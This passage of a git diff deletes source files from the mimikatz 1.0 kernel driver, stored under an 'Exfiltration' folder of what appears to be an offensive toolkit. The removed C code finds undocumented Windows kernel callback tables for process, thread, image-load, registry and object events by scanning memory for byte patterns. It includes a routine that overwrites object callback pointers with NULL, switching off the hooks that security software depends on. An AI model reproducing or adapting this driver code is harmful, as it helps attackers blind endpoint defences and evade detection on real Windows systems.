- if(NT_SUCCESS(status)) - { - for(i = 0; (i < *PspLoadImageNotifyRoutineCount) && NT_SUCCESS(status); i++) - { - monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspLoadImageNotifyRoutine[i]); - if(monCallBack != NULL) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - } - } - return status; -} - -NTSTATUS getPspLoadImageNotifyRoutine() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WNT5_Image[] = {0x48, 0x8d, 0x35}; - LONG OFFS_WNT5_Image = sizeof(PTRN_WNT5_Image); - UCHAR PTRN_WNT6_Image[] = {0x48, 0x8d, 0x0d}; - LONG OFFS_WNT6_Image = sizeof(PTRN_WNT6_Image); - - LONG OFFS_WNT5_Count = - 0x0c; - LONG OFFS_WNT6_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; - #elif defined _M_IX86 - UCHAR PTRN_WNT5_Image[] = {0x6a, 0x00, 0x53, 0x56}; - UCHAR PTRN_WNO8_Image[] = {0x6a, 0x00, 0x8b, 0xcb, 0x8b, 0xc6}; - UCHAR PTRN_WIN8_Image[] = {0x33, 0xff, 0x6a, 0x00, 0x53, 0x8b, 0xc6}; - LONG OFFS_WALL_Image = -(LONG) sizeof(PVOID); - - LONG OFFS_WNT5_Count = - 0x18; - LONG OFFS_WNO8_Count = sizeof(PVOID) * MAX_NT_PspLoadImageNotifyRoutine; - LONG OFFS_WIN8_Count = - 0x20; - #endif - - PUCHAR pointeur = NULL, pattern = NULL, refDebut = (PUCHAR) PsSetLoadImageNotifyRoutine, refFin = refDebut + PAGE_SIZE; SIZE_T taille = 0; LONG offsetTo = 0; - LONG offsetToCountEx = 0, offsetToCount = 0; - - if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) - { - retour = STATUS_SUCCESS; - } - else - { - if(INDEX_OS < INDEX_VISTA) - { - pattern = PTRN_WNT5_Image; - taille = sizeof(PTRN_WNT5_Image); - #ifdef _M_X64 - offsetTo = OFFS_WNT5_Image; - #endif - offsetToCount = OFFS_WNT5_Count; - } - else - { - #ifdef _M_X64 - pattern = PTRN_WNT6_Image; - taille = sizeof(PTRN_WNT6_Image); - offsetTo = OFFS_WNT6_Image; - offsetToCount = OFFS_WNT6_Count; - #elif defined _M_IX86 - if(INDEX_OS < INDEX_8) - { - pattern = PTRN_WNO8_Image; - taille = sizeof(PTRN_WNO8_Image); - offsetToCount = OFFS_WNO8_Count; - } - else - { - pattern = PTRN_WIN8_Image; - taille = sizeof(PTRN_WIN8_Image); - offsetToCount = OFFS_WIN8_Count; - } - #endif - } - #ifdef _M_IX86 - offsetTo = OFFS_WALL_Image; - #endif - - retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); - if(NT_SUCCESS(retour)) - { - PspLoadImageNotifyRoutine = (PVOID) (pointeur); - PspLoadImageNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); - - if(PspLoadImageNotifyRoutine && PspLoadImageNotifyRoutineCount) - retour = STATUS_SUCCESS; - } - } - return retour; -} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_image.h b/Exfiltration/mimikatz-1.0/driver/notify_image.h deleted file mode 100644 index f6e0711..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_image.h +++ /dev/null @@ -1,10 +0,0 @@ -#pragma once -#include "notify.h" - -#define MAX_NT_PspLoadImageNotifyRoutine 8 - -ULONG * PspLoadImageNotifyRoutineCount; -PVOID * PspLoadImageNotifyRoutine; - -NTSTATUS getPspLoadImageNotifyRoutine(); -NTSTATUS kListNotifyImages(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.c b/Exfiltration/mimikatz-1.0/driver/notify_object.c deleted file mode 100644 index 9eac3bb..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_object.c +++ /dev/null @@ -1,173 +0,0 @@ -#include "notify_object.h" - -POBJECT_DIRECTORY * ObpTypeDirectoryObject = NULL; - -const WCHAR *procCallToName[] = { - L"Dump ", - L"Open ", - L"Close ", - L"Delete ", - L"Parse ", - L"Security ", - L"QueryName ", - L"OkayToClose", -}; - -NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ListNotif); -} - -NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - return listNotifyOrClearObjects(pszDest, cbDest, ppszDestEnd, pcbRemaining, ClearNotif); -} - -NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action) -{ - NTSTATUS status; - ULONG i, j; - POBJECT_DIRECTORY_ENTRY monEntree; - POBJECT_TYPE monType, monTypeDecal; - PVOID * miniProc; - POBJECT_CALLBACK_ENTRY pStruct; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyObjects\n\n"); - - if(NT_SUCCESS(status)) - { - status = getObpTypeDirectoryObject(); - if(NT_SUCCESS(status)) - { - for(i = 0; (i < OBJECT_HASH_TABLE_SIZE) && NT_SUCCESS(status); i++) - { - if((*ObpTypeDirectoryObject)->HashBuckets[i]) - { - for(monEntree = (*ObpTypeDirectoryObject)->HashBuckets[i]; monEntree && NT_SUCCESS(status); monEntree = monEntree->NextEntry) - { - if(monType = monEntree->Object) - { - if(INDEX_OS < INDEX_VISTA) - monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE)); - - if(action == ListNotif) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n%wZ\n", &(monType->Name)); - for(j = 0; (j < 8) && NT_SUCCESS(status); j++) - { - miniProc = (PVOID *) (((ULONG_PTR) &(monType->TypeInfo)) + FIELD_OFFSET(OBJECT_TYPE_INITIALIZER, DumpProcedure) + sizeof(PVOID)*j - #ifdef _M_IX86 - - ((INDEX_OS < INDEX_VISTA) ? sizeof(ULONG) : 0) - #endif - ); - if(*miniProc) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" - %ws : ", procCallToName[j]); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) *miniProc, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - } - if(INDEX_OS >= INDEX_VISTA) - { - if(INDEX_OS < INDEX_7) - monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ERESOURCE) + 32*sizeof(EX_PUSH_LOCK)); - else if (INDEX_OS > INDEX_7) - monType = (POBJECT_TYPE) ((ULONG_PTR) (monType) + sizeof(ULONG) + 2*sizeof(USHORT)); // W8 : nouveaux champs avant les callbacks - - for(pStruct = (POBJECT_CALLBACK_ENTRY) (monType->CallbackList.Flink) ; (pStruct != (POBJECT_CALLBACK_ENTRY) &(monType->CallbackList)) && NT_SUCCESS(status) ; pStruct = (POBJECT_CALLBACK_ENTRY) pStruct->CallbackList.Flink) - { - if(pStruct->PreOperation || pStruct->PostOperation) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" * Callback %u : ", pStruct->Operations, pStruct->PreOperation);; - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) pStruct->PreOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" / "); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) pStruct->PostOperation, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - - if(action == ClearNotif) - { - pStruct->PreOperation = NULL; - pStruct->PostOperation = NULL; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L" -> NULL !\n"); - } - } - } - } - } - } - } - } - } - } - return status; -} - -NTSTATUS getObpTypeDirectoryObject() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WALL_Object[] = {0x66, 0x83, 0xf8, 0x5c, 0x0f, 0x84}; - LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 8 + 8 + 8 + 3; - LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 3 + 2 + 3; - LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 3; - #elif defined _M_IX86 - UCHAR PTRN_WALL_Object[] = {0x5c, 0x0f, 0x84}; - LONG OFFS_WNT5_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; - LONG OFFS_WNO8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 1; - LONG OFFS_WIN8_Object = sizeof(PTRN_WALL_Object) + 4 + 2 + 2 + 2; - #endif - - PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; - UNICODE_STRING maRoutine; - - if(ObpTypeDirectoryObject) - { - retour = STATUS_SUCCESS; - } - else - { - RtlInitUnicodeString(&maRoutine, L"ObCreateObjectType"); - if(refDebut = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) - { - refFin = refDebut + PAGE_SIZE; - - if(INDEX_OS < INDEX_8) - { - if(INDEX_OS < INDEX_VISTA) - offsetTo = OFFS_WNT5_Object; - else - { - offsetTo = OFFS_WNO8_Object; - #ifdef _M_X64 - refFin = refDebut - PAGE_SIZE; - #endif - } - } - else - offsetTo = OFFS_WIN8_Object; - - retour = genericPointerSearch((PUCHAR *) &ObpTypeDirectoryObject, refDebut, refFin, PTRN_WALL_Object, sizeof(PTRN_WALL_Object), offsetTo); - } - } - return retour; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/notify_object.h b/Exfiltration/mimikatz-1.0/driver/notify_object.h deleted file mode 100644 index 96d5517..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_object.h +++ /dev/null @@ -1,79 +0,0 @@ -#pragma once -#include "notify.h" - -#define OBJECT_HASH_TABLE_SIZE 37 - -typedef struct _OBJECT_DIRECTORY_ENTRY { - struct _OBJECT_DIRECTORY_ENTRY *NextEntry; - PVOID Object; - ULONG HashValue; // pas en NT5 -} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; - -typedef struct _OBJECT_DIRECTORY { - POBJECT_DIRECTORY_ENTRY HashBuckets[OBJECT_HASH_TABLE_SIZE]; - EX_PUSH_LOCK Lock; - PVOID DeviceMap; - ULONG SessionId; - PVOID NamespaceEntry; // a partir de là, différent en NT5, mais pas utilisé... - ULONG Flags; -} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; - -typedef struct _OBJECT_TYPE_INITIALIZER // NT6, décaler ULONG en NT5x86 (compensé par l'alignement en x64) -{ - SHORT Length; - UCHAR ObjectTypeFlags; - ULONG ObjectTypeCode; - ULONG InvalidAttributes; - GENERIC_MAPPING GenericMapping; - ACCESS_MASK ValidAccessMask; - ULONG RetainAccess; - POOL_TYPE PoolType; - ULONG DefaultPagedPoolCharge; - ULONG DefaultNonPagedPoolCharge; - PVOID DumpProcedure; - PVOID OpenProcedure; - PVOID CloseProcedure; - PVOID DeleteProcedure; - PVOID ParseProcedure; - PVOID SecurityProcedure; - PVOID QueryNameProcedure; - PVOID OkayToCloseProcedure; -} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; - -typedef struct _OBJECT_TYPE { - LIST_ENTRY TypeList; - UNICODE_STRING Name; - PVOID DefaultObject; - UCHAR Index; - ULONG TotalNumberOfObjects; - ULONG TotalNumberOfHandles; - ULONG HighWaterNumberOfObjects; - ULONG HighWaterNumberOfHandles; - OBJECT_TYPE_INITIALIZER TypeInfo; - EX_PUSH_LOCK TypeLock; - ULONG Key; - LIST_ENTRY CallbackList; -} OBJECT_TYPE, *POBJECT_TYPE; - -typedef struct _OBJECT_CALLBACK_ENTRY { - LIST_ENTRY CallbackList; - OB_OPERATION Operations; - ULONG Active; - /*OB_HANDLE*/ PVOID Handle; - POBJECT_TYPE ObjectType; - POB_PRE_OPERATION_CALLBACK PreOperation; - POB_POST_OPERATION_CALLBACK PostOperation; -} OBJECT_CALLBACK_ENTRY, *POBJECT_CALLBACK_ENTRY; - -typedef enum _KIWI_NOTIF_OBJECT_ACTION -{ - ListNotif, - ClearNotif -} KIWI_NOTIF_OBJECT_ACTION; - -POBJECT_DIRECTORY * ObpTypeDirectoryObject; - -NTSTATUS getObpTypeDirectoryObject(); -NTSTATUS kListNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS kClearNotifyObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); -NTSTATUS listNotifyOrClearObjects(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining, KIWI_NOTIF_OBJECT_ACTION action); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.c b/Exfiltration/mimikatz-1.0/driver/notify_process.c deleted file mode 100644 index 87cc3ed..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_process.c +++ /dev/null @@ -1,137 +0,0 @@ -#include "notify_process.h" - -ULONG * PspCreateProcessNotifyRoutineCount = NULL; -ULONG * PspCreateProcessNotifyRoutineExCount = NULL; -PVOID * PspCreateProcessNotifyRoutine = NULL; - -NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG i; - PKIWI_CALLBACK monCallBack; - ULONG bonusCount; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyProcesses\n\n"); - if(NT_SUCCESS(status)) - { - status = getPspCreateProcessNotifyRoutine(); - if(NT_SUCCESS(status)) - { - bonusCount = *PspCreateProcessNotifyRoutineCount + ((INDEX_OS < INDEX_VISTA) ? 0 : *PspCreateProcessNotifyRoutineExCount); - for(i = 0; (i < bonusCount) && NT_SUCCESS(status) ; i++) - { - monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateProcessNotifyRoutine[i]); - if(monCallBack != NULL) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"\n"); - } - } - } - } - } - } - return status; -} - -NTSTATUS getPspCreateProcessNotifyRoutine() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WNT5_Process[] = {0x41, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xeb}; - LONG OFFS_WNT5_Process = -4; - UCHAR PTRN_WNO8_Process[] = {0x40, 0xc0, 0xed, 0x02, 0x41, 0x22, 0xee, 0xa8, 0x02, 0x0f, 0x84}; - LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 4 + 3; - UCHAR PTRN_WIN8_Process[] = {0x40, 0xc0, 0xee, 0x02, 0x41, 0x22, 0xf6, 0xa8, 0x02, 0x0f, 0x84}; - LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process) + 4 + 3; - - PUCHAR REF_D_WNO8_Process = (PUCHAR) CcMdlRead; - PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process - 25*PAGE_SIZE; - PUCHAR REF_D_WIN8_Process = (PUCHAR) SeImpersonateClientEx; - PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process + 25*PAGE_SIZE; - - LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; - LONG OFFS_WIN8_CountEx = OFFS_WNO8_CountEx; - LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; - LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); - LONG OFFS_WIN8_Count = - 0x18; - #elif defined _M_IX86 - UCHAR PTRN_WNT5_Process[] = {0x56, 0x57, 0x74}; - LONG OFFS_WNT5_Process = sizeof(PTRN_WNT5_Process) + 2; - UCHAR PTRN_WNO8_Process[] = {0x33, 0xdb, 0xc7, 0x45}; - LONG OFFS_WNO8_Process = sizeof(PTRN_WNO8_Process) + 1; - UCHAR PTRN_WIN8_Process[] = {0x33, 0xdb, 0x89, 0x5d, 0x0c, 0xbe}; - LONG OFFS_WIN8_Process = sizeof(PTRN_WIN8_Process); - - PUCHAR REF_D_WNO8_Process = (PUCHAR) PsSetCreateProcessNotifyRoutine; - PUCHAR REF_F_WNO8_Process = REF_D_WNO8_Process + 25*PAGE_SIZE; - PUCHAR REF_D_WIN8_Process = (PUCHAR) IoConnectInterrupt; - PUCHAR REF_F_WIN8_Process = REF_D_WIN8_Process - 25*PAGE_SIZE; - - LONG OFFS_WNO8_CountEx = sizeof(PVOID) * MAX_NT6_PspCreateProcessNotifyRoutine; - LONG OFFS_WIN8_CountEx = - 0x20; - LONG OFFS_WNT5_Count = sizeof(PVOID) * MAX_NT5_PspCreateProcessNotifyRoutine; - LONG OFFS_WNO8_Count = OFFS_WNO8_CountEx + sizeof(ULONG); - LONG OFFS_WIN8_Count = OFFS_WIN8_CountEx - sizeof(ULONG); - #endif - - PUCHAR pointeur = NULL, pattern = NULL, refDebut = NULL, refFin = NULL; SIZE_T taille = 0; LONG offsetTo = 0; - LONG offsetToCountEx = 0, offsetToCount = 0; - - if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) - { - retour = STATUS_SUCCESS; - } - else - { - if(INDEX_OS < INDEX_8) - { - if(INDEX_OS < INDEX_VISTA) - { - pattern = PTRN_WNT5_Process; - taille = sizeof(PTRN_WNT5_Process); - offsetTo = OFFS_WNT5_Process; - offsetToCount = OFFS_WNT5_Count; - } - else - { - pattern = PTRN_WNO8_Process; - taille = sizeof(PTRN_WNO8_Process); - offsetTo = OFFS_WNO8_Process; - offsetToCountEx = OFFS_WNO8_CountEx; - offsetToCount = OFFS_WNO8_Count; - } - refDebut = REF_D_WNO8_Process; - refFin = REF_F_WNO8_Process; - } - else - { - pattern = PTRN_WIN8_Process; - taille = sizeof(PTRN_WIN8_Process); - offsetTo = OFFS_WIN8_Process; - refDebut = REF_D_WIN8_Process; - refFin = REF_F_WIN8_Process; - offsetToCountEx = OFFS_WIN8_CountEx; - offsetToCount = OFFS_WIN8_Count; - } - - retour = genericPointerSearch(&pointeur, refDebut, refFin, pattern, taille, offsetTo); - if(NT_SUCCESS(retour)) - { - PspCreateProcessNotifyRoutine = (PVOID) (pointeur); - PspCreateProcessNotifyRoutineCount = (PULONG) (pointeur + offsetToCount); - if(INDEX_OS >= INDEX_VISTA) - PspCreateProcessNotifyRoutineExCount = (PULONG) (pointeur + offsetToCountEx); - - if(PspCreateProcessNotifyRoutine && ((INDEX_OS < INDEX_VISTA) || PspCreateProcessNotifyRoutineExCount) && PspCreateProcessNotifyRoutineCount) - retour = STATUS_SUCCESS; - } - } - return retour; -} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_process.h b/Exfiltration/mimikatz-1.0/driver/notify_process.h deleted file mode 100644 index 27cbe3a..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_process.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once -#include "notify.h" - -#define MAX_NT6_PspCreateProcessNotifyRoutine 64 -#define MAX_NT5_PspCreateProcessNotifyRoutine 8 - -ULONG * PspCreateProcessNotifyRoutineCount; -ULONG * PspCreateProcessNotifyRoutineExCount; -PVOID * PspCreateProcessNotifyRoutine; - -NTSTATUS getPspCreateProcessNotifyRoutine(); -NTSTATUS kListNotifyProcesses(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.c b/Exfiltration/mimikatz-1.0/driver/notify_reg.c deleted file mode 100644 index 843cfba..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_reg.c +++ /dev/null @@ -1,137 +0,0 @@ -#include "notify_reg.h" - -ULONG * CmpCallBackCount = NULL; -PVOID * CmpCallBackVector = NULL; -PLIST_ENTRY CallbackListHead = NULL; - -NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG i; - PKIWI_CALLBACK monCallBack; - PLIST_ENTRY maListe; - PKIWI_REGISTRY6_CALLBACK monCallBack6; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyRegistry\n\n"); - if(NT_SUCCESS(status)) - { - status = getNotifyRegistryRoutine(); - if(NT_SUCCESS(status)) - { - if(INDEX_OS < INDEX_VISTA) - { - for(i = 0; (i < *CmpCallBackCount) && NT_SUCCESS(status) ; i++) - { - monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(CmpCallBackVector[i]); - if(monCallBack != NULL) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" - cookie %#.I64x\n", *(monCallBack->opt_cookie) - ); - } - } - } - } - } - else - { - for(maListe = CallbackListHead->Flink, i = 0; (maListe != CallbackListHead) && NT_SUCCESS(status) ; maListe = maListe->Flink, i++) - { - monCallBack6 = (PKIWI_REGISTRY6_CALLBACK) (((ULONG_PTR) maListe) + sizeof(LIST_ENTRY) + 2*((INDEX_OS < INDEX_7) ? sizeof(PVOID) : sizeof(ULONG))); - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] ", i); - if(NT_SUCCESS(status)) - { - status = getModuleFromAddr((ULONG_PTR) monCallBack6->callback, *ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining); - if(NT_SUCCESS(status) || status == STATUS_NOT_FOUND) - { - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, - L" - alt %wZ - cookie %#.I64x\n", &(monCallBack6->altitude), monCallBack6->cookie); - } - } - } - } - } - } - return status; -} - -NTSTATUS getNotifyRegistryRoutine() -{ - NTSTATUS retour = STATUS_NOT_FOUND; - #ifdef _M_X64 - UCHAR PTRN_WNT5_Vector[]= {0x4c, 0x8d, 0x3d}; - UCHAR PTRN_WNT5_Count[] = {0x0f, 0xc1, 0x05}; - - UCHAR PTRN_WN60_Head[] = {0x48, 0x8b, 0xf0, 0x48}; - LONG OFFS_WN60_Head = -9; - UCHAR PTRN_WALL_Head[] = {0x48, 0x8b, 0xf8, 0x48}; - LONG OFFS_WALL_Head = -9; - #elif defined _M_IX86 - UCHAR PTRN_WNT5_Vector[]= {0x53, 0x56, 0x57, 0xbb}; - UCHAR PTRN_WNT5_Count[] = {0xff, 0xb9}; - - UCHAR PTRN_WN60_Head[] = {0x8b, 0xcb, 0xe8}; - LONG OFFS_WN60_Head = 12; - UCHAR PTRN_WN61_Head[] = {0x8b, 0xc7, 0xe8}; - LONG OFFS_WN61_Head = -4; - UCHAR PTRN_WIN8_Head[] = {0x53, 0x8d, 0x55}; - LONG OFFS_WIN8_Head = -4; - #endif - PUCHAR refDebut = (PUCHAR) CmUnRegisterCallback, refFin = refDebut + PAGE_SIZE; - PUCHAR pattern = NULL; SIZE_T taille = 0; LONG offsetTo = 0; - - if((CmpCallBackVector && CmpCallBackCount) || CallbackListHead) - { - retour = STATUS_SUCCESS; - } - else - { - if(INDEX_OS < INDEX_VISTA) - { - retour = genericPointerSearch((PUCHAR *) &CmpCallBackVector, refDebut, refFin, PTRN_WNT5_Vector, sizeof(PTRN_WNT5_Vector), sizeof(PTRN_WNT5_Vector)); - if(NT_SUCCESS(retour)) - { - retour = genericPointerSearch((PUCHAR *) &CmpCallBackCount, refDebut, refFin, PTRN_WNT5_Count, sizeof(PTRN_WNT5_Count), sizeof(PTRN_WNT5_Count)); - } - } - else - { - if(INDEX_OS < INDEX_7) - { - pattern = PTRN_WN60_Head; - taille = sizeof(PTRN_WN60_Head); - offsetTo= OFFS_WN60_Head; - } - else - { - #ifdef _M_X64 - pattern = PTRN_WALL_Head; - taille = sizeof(PTRN_WALL_Head); - offsetTo= OFFS_WALL_Head; - #elif defined _M_IX86 - if(INDEX_OS < INDEX_8) - { - pattern = PTRN_WN61_Head; - taille = sizeof(PTRN_WN61_Head); - offsetTo= OFFS_WN61_Head; - } - else - { - pattern = PTRN_WIN8_Head; - taille = sizeof(PTRN_WIN8_Head); - offsetTo= OFFS_WIN8_Head; - } - #endif - } - retour = genericPointerSearch((PUCHAR *) &CallbackListHead, refDebut, refFin, pattern, taille, offsetTo); - } - } - return retour; -} diff --git a/Exfiltration/mimikatz-1.0/driver/notify_reg.h b/Exfiltration/mimikatz-1.0/driver/notify_reg.h deleted file mode 100644 index ce86568..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_reg.h +++ /dev/null @@ -1,17 +0,0 @@ -#pragma once -#include "notify.h" - -ULONG * CmpCallBackCount; -PVOID * CmpCallBackVector; -PLIST_ENTRY CallbackListHead; - -typedef struct _KIWI_REGISTRY6_CALLBACK -{ - LARGE_INTEGER cookie; - PVOID context; - PVOID callback; - UNICODE_STRING altitude; -} KIWI_REGISTRY6_CALLBACK, *PKIWI_REGISTRY6_CALLBACK; - -NTSTATUS getNotifyRegistryRoutine(); -NTSTATUS kListNotifyRegistry(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); diff --git a/Exfiltration/mimikatz-1.0/driver/notify_thread.c b/Exfiltration/mimikatz-1.0/driver/notify_thread.c deleted file mode 100644 index 41436b0..0000000 --- a/Exfiltration/mimikatz-1.0/driver/notify_thread.c +++ /dev/null @@ -1,111 +0,0 @@ -#include "notify_thread.h" - -ULONG * PspCreateThreadNotifyRoutineCount = NULL; -PVOID * PspCreateThreadNotifyRoutine = NULL; - -NTSTATUS kListNotifyThreads(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) -{ - NTSTATUS status; - ULONG i; - PKIWI_CALLBACK monCallBack; - - *ppszDestEnd = pszDest; *pcbRemaining= cbDest; - status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kListNotifyThreads\n\n"); - if(NT_SUCCESS(status)) - { - status = getPspCreateThreadNotifyRoutine(); - if(NT_SUCCESS(status)) - { - for(i = 0; (i < *PspCreateThreadNotifyRoutineCount) && NT_SUCCESS(status) ; i++) - { - monCallBack = (PKIWI_CALLBACK) KIWI_mask3bits(PspCreateThreadNotifyRoutine[i]); - 